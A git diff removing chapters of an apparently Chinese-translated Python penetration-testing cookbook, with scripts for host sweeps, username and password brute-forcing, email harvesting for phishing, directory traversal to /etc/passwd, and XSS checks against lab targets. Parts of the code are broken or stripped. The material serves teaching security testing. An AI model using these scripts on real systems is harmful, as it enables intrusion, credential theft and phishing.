-networkaddr = iplist1[0]+"."+iplist1[1]+"."+iplist[2]+"."
-
-start_ip_last_octet = int(iplist1[3])
-end_ip_last_octet = int(iplist2[3])
-
-if iplist1[3]0:
- print "Hosts found:\n"
- for host in livehosts:
- print host+"\n"
-else:
- print "No live hosts found\n"
-```
-
-## 它是如何工作的…
-
-脚本的第一个部分将在运行时设置对来自 Scapy 的警告消息的抑制。在未配置 IPv6 的计算机上导入 Scapy 时，通常会出现一条关于无法通过 IPv6 路由的警告消息。
-
-```
-import logging
-logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
-```
-
-下一节将导入必要的模块，验证收到的参数数量，并设置一个列表，用于存储发现处于活动状态的主机：
-
-```
-import sys
-from scapy.all import *
-
-if len(sys.argv) !=3:
- print "usage: %s start_ip_addr end_ip_addr" % (sys.argv[0])
- sys.exit(0)
-
-livehosts=[]
-```
-
-然后我们编译一个正则表达式来检查 IP 地址是否有效。这不仅检查字符串的格式，还检查它是否存在于 IPv4 地址空间中。然后使用此编译的正则表达式与提供的参数进行匹配：
-
-```
-#IP address validation
-ipregex=re.compile("^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0- 9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0- 5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0- 9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$")
-
-if (ipregex.match(sys.argv[1]) is None):
- print "Starting IP address is invalid"
- sys.exit(0)
-if (ipregex.match(sys.argv[1]) is None):
- print "End IP address is invalid"
- sys.exit(0)
-```
-
-验证 IP 地址后，将进行进一步检查，以确保提供的范围为有效范围，并分配用于设置循环参数的变量：
-
-```
-iplist1 = sys.argv[1].split(".")
-iplist2 = sys.argv[2].split(".")
-
-if not (iplist1[0]==iplist2[0] and iplist1[1]==iplist2[1] and iplist1[2]==iplist2[2])
- print "IP addresses are not in the same class C subnet"
- sys.exit(0)
-
-if iplist1[3]>iplist2[3]:
- print "Starting IP address is greater than ending IP address"
- sys.exit(0)
-
-networkaddr = iplist1[0]+"."+iplist1[1]+"."+iplist[2]+"."
-
-start_ip_last_octet = int(iplist1[3])
-end_ip_last_octet = int(iplist2[3])
-```
-
-脚本的下一部分纯粹是信息性的，可以省略。它将打印要 ping 的 IP 地址范围，或者在提供的两个参数相等的情况下，打印要 ping 的 IP 地址：
-
-```
-if iplist1[3]=0):
- foundusers.append(user)
- request.close()
-userlist.close()
-
-if len(foundusers)>0:
- print "Found Users:\n"
- for name in foundusers:
- print name+"\n"
-else:
- print "No users found\n"
-```
-
-以下是此脚本的输出示例：
-
-```
-python bruteusernames.py userlist.txt
-Found Users:
-admin
-angela
-bob
-john
-
-```
-
-## 它是如何工作的…
-
-这个脚本引入了比基本用户名检查更多的概念。第一个是打开文件以加载我们的列表：
-
-```
-userlist = open(filename,'r')
-```
-
-这将打开包含用户名列表的文件，并将其加载到`userlist`变量中。然后我们循环浏览列表中的用户列表。在此配方中，我们还使用了以下代码行：
-
-```
-user=user.strip()
-```
-
-此命令去除空白，包括换行符，这有时会在提交前更改编码结果。
-
-如果用户名存在，则会将其附加到列表中。选中所有用户名后，将输出列表的内容。
-
-## 另见
-
-对于单个用户名，您需要使用*基本用户名检查*方法。
-
-# 枚举文件
-
-当枚举 web 应用程序时，您需要确定存在哪些页面。通常使用的一种常见做法称为爬行。爬行的工作原理是：访问一个网站，然后跟踪该页面中的每个链接以及该网站中的任何后续页面。但是，对于某些站点（如 Wiki），如果链接在访问时执行编辑或删除功能，则此方法可能会导致删除数据。这个方法将取而代之的是一个常见的网页文件名列表，并检查它们是否存在。
-
-## 准备好了吗
-
-对于这个配方，您需要创建一个常见页面名称列表。渗透测试发行版（如 Kali Linux）将提供各种暴力工具的单词列表，这些工具可以用来代替生成您自己的。
-
-## 怎么做…
-
-以下脚本将获取可能的文件名列表，并测试网页是否存在于网站中：
-
-```
-#bruteforce file names
-import sys
-import urllib2
-
-if len(sys.argv) !=4:
- print "usage: %s url wordlist fileextension\n" % (sys.argv[0])
- sys.exit(0)
-
-base_url = str(sys.argv[1])
-wordlist= str(sys.argv[2])
-extension=str(sys.argv[3])
-filelist = open(wordlist,'r')
-foundfiles = []
-
-for file in filelist:
- file=file.strip("\n")
- extension=extension.rstrip()
- url=base_url+file+"."+str(extension.strip("."))
- try:
- request = urllib2.urlopen(url)
- if(request.getcode()==200):
- foundfiles.append(file+"."+extension.strip("."))
- request.close()
- except urllib2.HTTPError, e:
- pass
-
-if len(foundfiles)>0:
- print "The following files exist:\n"
- for filename in foundfiles:
- print filename+"\n"
-else:
- print "No files found\n"
-```
-
-下面的输出显示了使用常见网页列表运行**该死的易受攻击的 Web App**（**DVWA**）时可能返回的内容：
-
-```
-python filebrute.py http://192.168.68.137/dvwa/ filelist.txt .php
-The following files exist:
-
-index.php
-
-about.php
-
-login.php
-
-security.php
-
-logout.php
-
-setup.php
-
-instructions.php
-
-phpinfo.php
-
-```
-
-## 它是如何工作的…
-
-导入必要的模块并验证参数数量后，将以只读模式打开要检查的文件名列表，该列表由文件的`open`操作中的`r`参数指示：
-
-```
-filelist = open(wordlist,'r')
-```
-
-当脚本进入文件名列表的循环时，将从文件名中删除任何换行符，因为这将在检查文件名是否存在时影响 URL 的创建。如果提供的扩展中存在前面的`.`，则该扩展也会被剥离。这允许使用包含或不包含前面的`.`的扩展，例如`.php`或`php`：
-
-```
- file=file.strip("\n")
- extension=extension.rstrip()
- url=base_url+file+"."+str(extension.strip("."))
-```
-
-然后，脚本的主要操作通过检查`HTTP 200`代码来检查具有给定文件名的网页是否存在，并捕获不存在的网页给出的任何错误：
-
-```
- try:
- request = urllib2.urlopen(url)
- if(request.getcode()==200):
- foundfiles.append(file+"."+extension.strip("."))
- request.close()
- except urllib2.HTTPError, e:
- pass
-```
-
-# 暴力强制密码
-
-暴力强迫可能不是最优雅的解决方案，但它将自动化可能是一项平凡的任务。通过使用自动化，您可以更快地完成任务，或者至少让自己在同一时间从事其他工作。
-
-## 准备好了吗
-
-要使用此配方，您需要一个要测试的用户名列表和密码列表。虽然这不是暴力强制的真正定义，但它将减少您将要测试的组合数。
-
-### 注
-
-如果您没有可用的密码列表，那么在线上有很多可用的密码，例如 GitHub 上最常见的 10000 个密码，位于[https://github.com/neo/discourse_heroku/blob/master/lib/common_passwords/10k-common-passwords.txt](https://github.com/neo/discourse_heroku/blob/master/lib/common_passwords/10k-common-passwords.txt) 。
-
-## 怎么做…
-
-以下代码显示了如何实现此配方的示例：
-
-```
-#brute force passwords
-import sys
-import urllib
-import urllib2
-
-if len(sys.argv) !=3:
- print "usage: %s userlist passwordlist" % (sys.argv[0])
- sys.exit(0)
-
-filename1=str(sys.argv[1])
-filename2=str(sys.argv[2])
-userlist = open(filename1,'r')
-passwordlist = open(filename2,'r')
-url = "http://www.vulnerablesite.com/login.html"
-foundusers = []
-FailStr="Incorrect User or Password"
-
-for user in userlist:
- for password in passwordlist:
- data = urllib.urlencode({"username="user&"password="password})
- request = urllib2.urlopen(url,data)
- response = request.read()
- if(response.find(FailStr)<0)
- foundcreds.append(user+":"+password)
- request.close()
-
-if len(foundcreds)>0:
- print "Found User and Password combinations:\n"
- for name in foundcreds:
- print name+"\n"
-else:
- print "No users found\n"
-```
-
-以下显示了脚本运行时产生的输出示例：
-
-```
-python bruteforcepasswords.py userlists.txt passwordlist.txt
-
-Found User and Password combinations:
-
-root:toor
-
-angela:trustno1
-
-bob:password123
-
-john:qwerty
-
-```
-
-## 它是如何工作的…
-
-初始导入必要的模块并检查系统参数后，我们设置密码检查：
-
-```
-filename1=str(sys.argv[1])
-filename2=str(sys.argv[2])
-userlist = open(filename1,'r')
-passwordlist = open(filename2,'r')
-```
-
-文件名参数存储在变量中，然后打开变量。`r`变量表示我们以只读方式打开这些文件。
-
-我们还指定目标并初始化数组以存储找到的任何有效凭据：
-
-```
-url = "http://www.vulnerablesite.com/login.html"
-foundusers = []
-FailStr="Incorrect User or Password"
-```
-
-前面代码中的`FailStr`变量只是为了让我们的生活更轻松，它使用了一个简短的变量名来键入，而不是键入整个字符串。
-
-此配方的主要步骤是在一个嵌套循环中执行我们的自动密码检查：
-
-```
-for user in userlist:
- for password in passwordlist:
- data = urllib.urlencode({"username="user&"password="password })
- request = urllib2.urlopen(url,data)
- response = request.read()
- if(response.find(FailStr)<0)
- foundcreds.append(user+":"+password)
- request.close()
-```
-
-在这个循环中，发送一个请求，包括用户名和密码作为参数。如果响应不包含表示用户名和密码组合无效的字符串，那么我们知道我们有一组有效的凭据。然后，我们将这些凭据添加到前面创建的数组中。
-
-在尝试了所有的用户名和密码组合后，我们将检查数组是否有凭据。如果是这样，我们就打印凭证。如果没有，我们会打印一条悲伤的消息，通知我们没有发现任何东西：
-
-```
-if len(foundcreds)>0:
- print "Found User and Password combinations:\n"
- for name in foundcreds:
- print name+"\n"
-else:
- print "No users found\n"
-```
-
-## 另见
-
-如果你想找到用户名，你可能还想利用*检查用户名有效性*和*强制使用用户名*的方法。
-
-# 根据姓名生成电子邮件地址
-
-在某些场景中，您可能有目标公司的员工列表，并且希望生成电子邮件地址列表。电子邮件地址可能很有用。您可能希望使用它们执行网络钓鱼攻击，或者您可能希望使用它们尝试登录到公司的应用程序，例如包含敏感内部文档的电子邮件或公司门户。
-
-## 准备好了吗
-
-在使用此配方之前，您需要有一个要使用的名称列表。如果你没有名字列表，你可能要考虑首先对你的目标执行一个开源情报练习。
-
-## 怎么做…
-
-以下代码将获取包含姓名列表的文件，并生成不同格式的电子邮件地址列表：
-
-```
-import sys
-
-if len(sys.argv) !=3:
- print "usage: %s name.txt email suffix" % (sys.argv[0])
- sys.exit(0)
-for line in open(sys.argv[1]):
- name = ''.join([c for c in line if c == " " or c.isalpha()])
- tokens = name.lower().split()
- fname = tokens[0]
- lname = tokens[-1]
- print fname+lname+sys.argv[2]
- print lname+fname+sys.argv[2]
- print fname+"."+lname+sys.argv[2]
- print lname+"."+fname+sys.argv[2]
- print lname+fname[0]+sys.argv[2]
- print fname+lname+fname+sys.argv[2]
- print fname[0]+lname+sys.argv[2]
- print fname[0]+"."+lname+sys.argv[2]
- print lname[0]+"."+fname+sys.argv[2]
- print fname+sys.argv[2]
- print lname+sys.argv[2]
-```
-
-## 它是如何工作的…
-
-这个方法的主要机制是使用字符串连接。通过将名字或首字母与姓氏以不同的组合与电子邮件后缀连接起来，您就有了一个潜在电子邮件地址列表，可以在以后的测试中使用。
-
-## 还有更多…
-
-特色食谱展示了如何使用姓名列表生成电子邮件地址列表。但是，并非所有电子邮件地址都有效。您可以通过在公司的应用程序中使用枚举技术进一步缩小此列表的范围，该技术可能会揭示电子邮件地址是否存在。您还可以执行进一步的开源情报调查，这可能使您能够确定目标组织电子邮件地址的正确格式。如果您成功地实现了这一点，那么您可以从配方中删除任何不必要的格式，以生成更简洁的电子邮件地址列表，从而在以后为您提供更大的价值。
-
-## 另见
-
-一旦您获得了电子邮件地址，您可能希望将其作为*检查用户名有效性*方法的一部分。
-
-# 从网页中查找电子邮件地址
-
-您可能会发现目标组织的网页上会有一些电子邮件列表，而不是生成您自己的电子邮件列表。这可能证明比您自己生成的电子邮件地址具有更高的价值，因为目标组织网站上的电子邮件地址有效的可能性将远远高于您尝试猜测的电子邮件地址。
-
-## 准备好了吗
-
-对于这个配方，您需要一个要解析电子邮件地址的页面列表。您可能希望访问目标组织的网站并搜索站点地图。然后，可以解析站点地图，查找指向网站中存在的页面的链接。
-
-## 怎么做…
-
-以下代码将解析 URL 列表中与电子邮件地址格式匹配的文本实例的响应，并将其保存到文件中：
-
-```
-import urllib2
-import re
-import time
-from random import randint
-regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_'{|}~-]+(?:\.[a-z0- 9!#$%&'*+\/=?^_'"
- "{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9- ]*[a-z0-9])?(\.|"
- "\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)"))
-
-tarurl = open("urls.txt", "r")
-for line in tarurl:
- output = open("emails.txt", "a")
- time.sleep(randint(10, 100))
- try:
- url = urllib2.urlopen(line).read()
- output.write(line)
- emails = re.findall(regex, url)
- for email in emails:
- output.write(email[0]+"\r\n")
- print email[0]
- except:
- pass
- print "error"
- output.close()
-```
-
-## 它是如何工作的…
-
-导入必要的模块后，您将看到`regex`变量的赋值：
-
-```
-regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_'{|}~-]+(?:\.[a-z0- 9!#$%&'*+\/=?^_'"
- "{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9- ]*[a-z0-9])?(\.|"
- "\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)"))
-```
-
-这会尝试匹配电子邮件地址格式，例如`victim@target.com`或目标网站上的受害者。然后，代码打开一个包含 URL 的文件：
-
-```
-tarurl = open("urls.txt", "r")
-```
-
-您可能会注意到参数 `r`的使用。这将以只读模式打开文件。然后，代码在 URL 列表中循环。在循环中，打开一个文件以将电子邮件地址保存到：
-
-```
-output = open("emails.txt", "a")
-```
-
-这次使用了`a`参数。这表示将追加对此文件的任何输入，而不是覆盖整个文件。该脚本使用睡眠计时器，以避免触发目标为防止攻击而采取的任何保护措施：
-
-```
-time.sleep(randint(10, 100))
-```
-
-此计时器将在`10`和`100`秒之间的任意时间内暂停脚本。
-
-在使用`urlopen()`方法时，使用异常处理是至关重要的。如果来自`urlopen()`的响应为`404 (HTTP not found error)`，则脚本将出错并退出。
-
-如果有有效的响应，脚本将把所有电子邮件地址实例存储在`emails`变量中：
-
-```
-emails = re.findall(regex, url)
-```
-
-然后循环通过`emails`变量，将列表中的每一项写入`emails.txt`文件，并输出到控制台进行确认：
-
-```
- for email in emails:
- output.write(email[0]+"\r\n")
- print email[0]
-```
-
-## 还有更多…
-
-此配方中使用的常规表达式匹配匹配两种常见的格式，用于表示 Internet 上的电子邮件地址。在您的学习和调查过程中，您可能会遇到您可能希望包含在匹配中的其他格式。有关 Python 中正则表达式的更多信息，您可能需要阅读 Python 网站上的文档，获取位于[的正则表达式 https://docs.python.org/2/library/re.html](https://docs.python.org/2/library/re.html) 。
-
-## 另见
-
-有关更多信息，请参阅*从名称*生成电子邮件地址的方法。
-
-# 在源代码中查找注释
-
-一个常见的安全问题是由良好的编程实践引起的。在 web 应用程序的开发阶段，开发人员将对其代码进行注释。这在这一阶段非常有用，因为它有助于理解代码，并且由于各种原因将作为有用的提醒。但是，当 web 应用程序准备在生产环境中部署时，最好删除所有这些注释，因为它们可能对攻击者有用。
-
-此配方将使用`Requests`和`BeautifulSoup`的组合来搜索 URL 以获取评论，同时搜索页面上的链接并搜索后续 URL 以获取评论。跟踪页面链接并分析这些 URL 的技术称为 spidering。
-
-## 怎么做…
-
-下面的脚本将在源代码中为注释和链接刮取 URL。然后，它还将执行有限的爬网和搜索链接 URL 以查找注释：
-
-```
-import requests
-import re
-
-from bs4 import BeautifulSoup
-import sys
-
-if len(sys.argv) !=2:
- print "usage: %s targeturl" % (sys.argv[0])
- sys.exit(0)
-
-urls = []
-
-tarurl = sys.argv[1]
-url = requests.get(tarurl)
-comments = re.findall('',url.text)
-print "Comments on page: "+tarurl
-for comment in comments:
- print comment
-
-soup = BeautifulSoup(url.text)
-for line in soup.find_all('a'):
- newline = line.get('href')
- try:
- if newline[:4] == "http":
- if tarurl in newline:
- urls.append(str(newline))
- elif newline[:1] == "/":
- combline = tarurl+newline
- urls.append(str(combline))
- except:
- pass
- print "failed"
-for uurl in urls:
- print "Comments on page: "+uurl
- url = requests.get(uurl)
- comments = re.findall('',url.text)
- for comment in comments:
- print comment
-```
-
-## 它是如何工作的…
-
-在初始导入必要的模块并设置变量后，脚本首先获取目标 URL 的源代码。
-
-您可能已经注意到，对于`Beautifulsoup`，我们有以下行：
-
-```
-from bs4 import BeautifulSoup
-```
-
-因此，当我们使用`BeautifulSoup`时，我们只需键入`BeautifulSoup`而不是`bs4.BeautifulSoup`。
-
-然后，它搜索 HTML 注释的所有实例并将其打印出来：
-
-```
-url = requests.get(tarurl)
-comments = re.findall('',url.text)
-print "Comments on page: "+tarurl
-for comment in comments:
- print comment
-```
-
-然后，脚本将使用`Beautifulsoup`来刮取绝对（从`http`开始）和相对（从`/`开始）链接的任何实例的源代码：
-
-```
-if newline[:4] == "http":
- if tarurl in newline:
- urls.append(str(newline))
- elif newline[:1] == "/":
- combline = tarurl+newline
- urls.append(str(combline))
-```
-
-一旦脚本整理了链接到页面的 URL 列表，它就会在每个页面上搜索 HTML 注释。
-
-## 还有更多…
-
-这个食谱展示了一个基本的注释刮取和爬虫的例子。这是可能的，以增加更多的智慧，这个食谱，以满足您的需要。例如，您可能希望说明使用以`.`或`..`开头表示当前目录和父目录的相对链接。
-
-您还可以向爬行部分添加更多控件。您可以从提供的目标 URL 中提取域，并创建一个过滤器，该过滤器不会刮取目标外部域的链接。这对于需要遵守目标范围的专业活动尤其有用。
\ No newline at end of file
diff --git a/trans/py-pentest-dev/20.md b/trans/py-pentest-dev/20.md
deleted file mode 100644
index 2ed0df4..0000000
--- a/trans/py-pentest-dev/20.md
+++ /dev/null
@@ -1,943 +0,0 @@
-# 第三章漏洞识别
-
-在本章中，我们将介绍以下主题：
-
-* 基于 URL 的自动目录遍历
-* 自动跨站点脚本（参数和 URL）
-* 自动基于参数的跨站点脚本
-* 自动模糊
-* jQuery 检查
-* 基于头的跨站点脚本
-* 壳震检查
-
-# 导言
-
-本章重点从前 10 名**开放式 web 应用程序安全项目**（**OWASP**中识别传统 web 应用程序漏洞。这将包括**跨站点脚本编制**（**XSS**）、目录遍历，以及其他简单到可以检查的漏洞，这些漏洞不足以保证它们自己的章节。本章提供了每个脚本的基于参数和基于 URL 的版本，以考虑可能发生的情况并降低单个脚本的复杂性。这些工具中的大多数都有精心设计的备选方案，例如 Burp 入侵者。在简化的 Python 中查看每个工具的好处是，它允许您了解如何构建和制作自己的版本。
-
-# 基于 URL 的自动目录遍历
-
-偶尔，网站使用不受限制的功能调用文件；这可以允许传说中的目录遍历或**直接对象引用**（**DOR**）。在此攻击中，用户可以使用易受攻击的参数调用网站上下文中的任意文件。这有两种操作方式：首先，通过提供一个绝对链接，如`/etc/passwd`，它表示从`root`目录浏览到`etc`目录并打开`passwd`文件；其次，向上移动目录以到达`root`目录并移动到预期文件的相对链接。
-
-我们将创建一个脚本，试图打开 Linux 机器上始终存在的文件，即前面提到的`/etc/passwd`文件，方法是将 up 目录的数量逐渐增加到 URL 中的一个参数。它将通过检测表示文件已打开的词组 root 来识别它何时成功。
-
-## 准备好了吗
-
-标识要测试的 URL 参数。此脚本已配置为适用于大多数设备：`etc/passwd`应适用于 OSX 和 Linux 安装，`boot.ini`应适用于 Windows 安装。请参阅本例末尾的 PHP 网页，该网页可用于测试脚本的有效性。
-
-我们将使用可通过`pip`安装的请求库。在作者看来，它在功能性和可用性方面都优于`urllib`。
-
-## 怎么做…
-
-确定要攻击的参数后，将其作为命令行参数传递给脚本。您的脚本应与以下脚本相同：
-
-```
-import requests
-import sys
-url = sys.argv[1]
-payloads = {'etc/passwd': 'root', 'boot.ini': '[boot loader]'}
-up = "../"
-i = 0
-for payload, string in payloads.iteritems():
- for i in xrange(7):
- req = requests.post(url+(i*up)+payload)
- if string in req.text:
- print "Parameter vulnerable\r\n"
- print "Attack string: "+(i*up)+payload+"\r\n"
- print req.text
- break
-```
-
-以下是使用此脚本时生成的输出示例：
-
-```
-Parameter vulnerable
-
-Attack string: ../../../../../etc/passwd
-
-Get me /etc/passwd! File Contents:root:x:0:0:root:/root:/bin/bash
-daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-bin:x:2:2:bin:/bin:/usr/sbin/nologin
-sys:x:3:3:sys:/dev:/usr/sbin/nologin
-sync:x:4:65534:sync:/bin:/bin/sync
-games:x:5:60:games:/usr/games:/usr/sbin/nologin
-```
-
-## 它是如何工作的…
-
-我们导入此脚本所需的库，就像我们在模块中完成的所有其他脚本一样：
-
-```
-url = sys.argv[1]
-```
-
-然后，我们以 URL 的形式进行输入。当我们使用`requests`库时，我们应该确保我们的 URL 与表单请求所期望的匹配，即`http(s)://url`。如果您出错，请求将提醒您：
-
-```
-payloads = {'etc/passwd': 'root', 'boot.ini': '[boot loader]'}
-```
-
-我们在字典中建立每次攻击中要发送的有效负载。每对中的第一个值是我们希望尝试加载的文件，第二个值肯定位于该文件中。第二个值越具体，出现的误报越少；然而，这可能会增加假阴性的机会。请随意在此处包含您自己的文件：
-
-```
-up = "../"
-i = 0
-```
-
-我们提供 up 目录快捷方式`../`并将其分配给 up 变量，我们将循环计数器设置为`0`：
-
-```
-for payload, string in payloads.iteritems():
- while i < 7:
-```
-
-`Iteritems`方法允许我们遍历字典，获取每个键和值，并将它们分配给变量。我们将第一个值指定为有效负载，将第二个值指定为字符串。然后，我们对循环设置上限，以防止它在发生故障时永远重复。我已将其设置为`7`，但您可以将其设置为任何值。请记住，web 应用程序的目录结构可能高于`7`：
-
-```
-req = requests.post(url+(i*up)+payload)
-```
-
-我们通过获取根 URL 并根据循环和负载添加当前数量的 up 目录来设计请求。然后在 post 请求中发送：
-
-```
-if string in req.text:
- print "Parameter vulnerable\r\n"
- print "Attack string: "+(i*up)+payload+"\r\n"
- print req.text
- break
-```
-
-我们通过在响应中查找预期字符串来检查是否达到了目标。如果字符串存在，我们停止循环并打印出攻击字符串以及对成功攻击的响应。这允许我们手动验证攻击是否成功，代码是否需要重构，或者 web 应用程序是否不易受攻击：
-
-```
- i = i+1
- i = 0
-```
-
-最后，计数器被添加到每个循环中，直到达到预设的最大值。一旦达到最大值，下一个攻击字符串将设置为零。
-
-## 还有更多
-
-通过应用本模块其他部分所示的原理，可以调整该配方，以使用参数。但是，由于通过参数调用的页面很少，而且有意简洁，因此未提供此功能。
-
-如前所述，可以通过添加其他文件及其常见字符串来扩展此功能。一旦建立了遍历目录的能力和到达根目录所需的深度，它还可以扩展到抓取所有感兴趣的文件。
-
-下面是一个 PHP 网页，允许您在自己的构建中测试此脚本。只要把它放在你的`var/www`目录或任何你使用的解决方案中。请勿在未知网络上保持此活动状态：
-
-```
-
-```
-
-# 基于 URL 的自动跨站点脚本
-
-反映跨站点脚本通常通过基于 URL 的参数进行。你应该知道什么是跨站点脚本，如果你不知道，我为你感到尴尬。来真的我必须解释一下吗？可以跨站点脚本是将 JavaScript 注入页面。这是黑客 101，也是大多数人遇到或听到的第一次攻击。阻止跨站点脚本的低效方法主要集中在目标脚本标记上，由于脚本标记不是在页面中使用 JavaScript 所必需的，因此有很多方法可以解决这一问题。
-
-我们将创建一个脚本，该脚本采用各种标准规避技术，并使用`Requests`库将其应用于自动提交。我们将知道脚本是否成功，因为脚本或其早期版本将出现在提交后的页面上。
-
-## 怎么做…
-
-我们将使用的脚本如下所示：
-
-```
-import requests
-import sys
-url = sys.argv[1]
-payloads = ['', '']
-for payload in payloads:
- req = requests.post(url+payload)
- if payload in req.text:
- print "Parameter vulnerable\r\n"
- print "Attack string: "+payload
- print req.text
- break
-```
-
-以下是使用此脚本时生成的输出示例：
-
-```
-Parameter vulnerable
-
-Attack string:
-
-Give me XSS:
-
-```
-
-## 它是如何工作的…
-
-此脚本类似于早期的目录遍历脚本。这一次，我们创建了一个有效负载列表，而不是一个字典，因为检查字符串和有效负载是相同的：
-
-```
-payloads = ['', '']
-```
-
-然后，我们使用与之前类似的循环遍历这些值，并逐一提交：
-
-```
-for payload in payloads:
- req = requests.post(url+payload)
-```
-
-每个有效负载都会附加到 URL 的末尾，并以一个未加编码的参数发送，如`127.0.0.1/xss/xss.php?comment=`。有效负载将添加到该字符串的末尾，以便生成有效语句。然后检查该字符串是否出现在下一页中：
-
-```
-if payload in req.text:
- print "Parameter vulnerable\r\n"
- print "Attack string: "+payload
- print req.text
- break
-```
-
-跨站点脚本非常简单，而且非常容易自动化和检测，因为攻击字符串通常与结果相同。目录遍历或 SQLi 的困难在于结果并不总是可预测的，我们将在后面遇到。如果成功的跨站点脚本攻击，则会发生。
-
-## 还有更多…
-
-可以通过提供更多的攻击字符串来扩展此攻击。在 Mozilla FuzzDB 中可以找到许多示例，我们将在后面的*自动模糊化*部分脚本中使用这些示例。此外，可以使用原始的`urllib`库应用各种形式的编码，该库在本模块的各个不同示例中都有展示。
-
-# 基于参数的自动跨站点脚本
-
-我已经说过，跨站点脚本编写非常简单。有趣的是，以脚本方式执行存储的跨站点脚本要稍微困难一些。在这一点上，我可能应该收回我先前的话，但无论如何。这里的困难在于系统通常从一个页面获取输入结构，提交到另一个页面，然后返回第三个页面。下面的脚本旨在处理最复杂的结构。
-
-我们将创建一个脚本，该脚本接受三个输入值，读取并正确提交所有三个值，并检查是否成功。它与早期的基于 URL 的跨站点脚本共享代码，但在执行上有根本的不同。
-
-## 怎么做…
-
-下面的脚本是功能测试。这是一个脚本，可以在类似于 sublime text 或 IDE 的框架中手动编辑，因为存储的 XSS 可能需要修改：
-
-```
-import requests
-import sys
-from bs4 import BeautifulSoup, SoupStrainer
-url = "http://127.0.0.1/xss/medium/guestbook2.php"
-url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
-url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
-payloads = ['', 'alert(1);', '']
-initial = requests.get(url)
-for payload in payloads:
- d = {}
- for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
- if field.has_attr('name'):
- if field['name'].lower() == "submit":
- d[field['name']] = "submit"
- else:
- d[field['name']] = payload
- req = requests.post(url2, data=d)
- checkresult = requests.get(url3)
-
- if payload in checkresult.text:
- print "Full string returned"
- print "Attack string: "+ payload
-```
-
-以下是将此脚本与两个成功字符串一起使用时生成的输出示例：
-
-```
-Full string returned
-Attack string:
-Full string returned
-Attack string:
-```
-
-## 它是如何工作的…
-
-我们一次又一次地导入我们的库，并建立我们要攻击的 URL。这里，`url`是带有要攻击的参数的页面，`url2`是要提交内容的页面，`url3`是检测攻击是否成功的最终读取页面。其中一些 URL 可能是共享的。之所以以这种形式设置它们，是因为很难为存储的跨站点脚本创建点击式脚本：
-
-```
-url = "http://127.0.0.1/xss/medium/guestbook2.php"
-url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
-url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
-```
-
-然后我们建立有效载荷列表。与基于 URL 的 XSS 脚本一样，有效负载和检查值相同：
-
-```
-payloads = ['', 'alert(1);', '']
-```
-
-然后，我们创建一个空字典，将有效负载与每个标识的输入框配对：
-
-```
-d = {}
-```
-
-我们的目标是攻击页面中的每个输入参数，因此接下来，我们阅读目标页面：
-
-```
-initial = requests.get(url)
-```
-
-然后，我们为放入有效负载列表中的每个值创建一个循环：
-
-```
-for payload in payloads:
-```
-
-然后，我们使用`BeautifulSoup`处理页面，这是一个库，允许我们根据页面的标签和定义特征雕刻页面。我们使用它来标识每个输入字段，并选择其名称，以便向其发送内容：
-
-```
-for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
- if field.has_attr('name'):
-```
-
-由于大多数网页中输入框的性质，任何名为`submit`的字段都不是跨站点脚本的目标，而是需要将`submit`作为一个值，以便我们的攻击成功。我们创建了一个`if`函数来检测是否是这种情况，使用`.lower()`函数可以轻松地解释可能使用的大写值。如果该字段不用于验证提交文件，我们将使用当前使用的有效负载进行填充：
-
-```
-if field['name'].lower() == "submit":
- d[field['name']] = "submit"
- else:
- d[field['name']] = payload
-```
-
-我们使用`requests`库将现在分配的值发送到 post 请求中的目标页面，正如我们前面所做的：
-
-```
-req = requests.post(url2, data=d)
-```
-
-然后，我们加载将呈现内容的页面，并准备将其用于检查结果函数：
-
-```
-checkresult = requests.get(url3)
-```
-
-与之前的脚本类似，我们通过在页面上搜索字符串来检查字符串是否成功，如果成功，则打印结果。然后，我们为下一个有效负载重置字典：
-
-```
-if payload in checkresult.text:
- print "Full string returned"
- print "Attack string: "+ payload
- d = {}
-```
-
-## 还有更多…
-
-如前所述，您可以更改此脚本以包含许多结果或从包含多个值的文件中读取。Mozilla 的 FuzzDB，如下面的配方所示，包含大量这些值。
-
-以下是一个可用于测试前几节中提供的脚本的设置。它们需要保存为工作所需的文件名，并与 MySQL 数据库一起存储注释。
-
-以下是第一个名为`guestbook.php`的界面页面：
-
-```
-
-
-
-
-View Guestbook
-```
-
-以下脚本为`addguestbook.php`，将您的评论放入数据库中：
-
-```
-";
- echo "Hi
";
-
-echo "View Guestbook";
-}
-
-else{
- echo "ERROR";
-}
-mysql_close();
-?>
-```
-
-最后一个脚本是`viewguestbook.php`，它从数据库中提取注释：
-
-```
-
-
-
-
-Comments
-
-\r\n";
-}
-
-mysql_close();
-?>
-```
-
-# 自动模糊
-
-Fuzzing 是黑客社区的一次粉碎和抢夺。它关注于向页面发送大量无效内容并记录结果。它是 SQL 注入的可复制版本，可以说是渗透测试的基本形式（尽管你的 LOIC 用户可能是生命形式的基本形式）。
-
-我们将创建一个脚本，该脚本将从 FuzzDB 元字符文件中获取值，并将其发送到每个可用参数，并记录所有结果。这无疑是一种用蛮力识别漏洞的尝试，需要一个明智的人来检查结果。
-
-## 准备好了吗
-
-为此，您将需要 Mozilla 提供的 FuzzDB。打印时，可从[获取 https://code.google.com/p/fuzzdb/](https://code.google.com/p/fuzzdb/) 。此脚本特别需要的文件是`fuzzdb`TAR 文件中的`/fuzzdb-1.09/attack-payloads/all-attacks/interesting-metacharacters.txt`。我正在重用 XSS 脚本中的测试 PHP 脚本进行概念验证，但是您可以根据自己的喜好使用它。目的是触发一个错误。
-
-## 怎么做…
-
-脚本如下：
-
-```
-import requests
-import sys
